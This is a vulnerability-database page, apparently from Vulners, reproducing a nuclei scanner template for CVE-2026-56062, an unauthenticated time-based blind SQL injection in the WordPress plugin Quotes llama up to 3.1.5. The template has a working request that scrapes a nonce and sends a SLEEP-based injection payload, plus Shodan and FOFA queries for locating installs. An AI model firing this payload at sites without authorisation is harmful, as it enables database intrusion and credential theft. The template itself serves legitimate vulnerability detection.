Lucene search
+L

Quotes llama <= 3.1.5 - SQL Injection

🗓️ 24 Oct 2026 02:05:20Reported by ProjectDiscoveryType 
nuclei
 nuclei
🔗 github.com👁 6 Views

Unauthenticated time-based blind SQL injection in Quotes llama via select_search() handler.

Related
Refs
Code
id: CVE-2026-56062

info:
  name: Quotes llama <= 3.1.5 - SQL Injection
  author: Abdullah Shahid (comradezephyr)
  severity: critical
  description: |
    Quotes llama 3.1.5 and earlier contains a time-based blind SQL injection vulnerability caused by improper control of a SQL identifier. The select_search() AJAX handler (registered for guests via wp_ajax_nopriv_select_search) reads the attacker-controlled 'sc' parameter from $_POST and substitutes it into the query through the malformed wpdb placeholder '%1s'.
  impact: |
    An unauthenticated attacker can extract sensitive data from the WordPress database, including user credentials and other stored information, through time-based blind SQL injection.
  remediation: |
    Update the Quotes llama plugin to version 3.1.6 or later.
  reference:
    - https://nvd.nist.gov/vuln/detail/CVE-2026-56062
    - https://patchstack.com/database/wordpress/plugin/quotes-llama/vulnerability/wordpress-quotes-llama-plugin-3-1-5-sql-injection-vulnerability
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:L
    cvss-score: 9.3
    cve-id: CVE-2026-56062
    epss-score: 0.004
    epss-percentile: 0.33145
    cwe-id: CWE-89
  metadata:
    verified: true
    max-request: 2
    vendor: quotes-llama
    product: quotes_llama
    shodan-query: 'http.html:"wp-content/plugins/quotes-llama/"'
    fofa-query: 'wp-content/plugins/quotes-llama/'
  tags: cve,cve2026,wordpress,wp-plugin,quotes-llama,sqli

flow: |
  if (http(1)) {
    if (template["nonce"] == "") {
      stop();
    }
    http(2);
  }

http:
  - raw:
      - |
        GET / HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - 'contains(body, "/quotes-llama/")'
        internal: true

    extractors:
      - type: regex
        name: nonce
        internal: true
        group: 1
        part: body
        regex:
          - '(?:nonce="|ql_token" value=")([a-f0-9]{10})"'

  - raw:
      - |
        @timeout: 10s
        POST /wp-admin/admin-ajax.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        action=select_search&nonce={{nonce}}&search_form=1&sc=(SELECT%201%20FROM%20(SELECT%20SLEEP(7))a)&term=nuclei

    matchers:
      - type: dsl
        dsl:
          - 'duration >= 7'
          - 'status_code == 200'
        condition: and
# digest: 4a0a00473045022070438c10ff036095b0f219b0ad3112858347ccef63a6e887678a4daa231ffd6d022100ff1702bab801d231dbedcbffb66a2432eee10b047822b6a557ff2f27610f52bc:922c64590222798bb761d5b6d8e72950

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

13 Oct 2026 14:57Current
6Medium risk
Vulners AI Score6
CVSS 3.19.3
EPSS0.01438
SSVC
6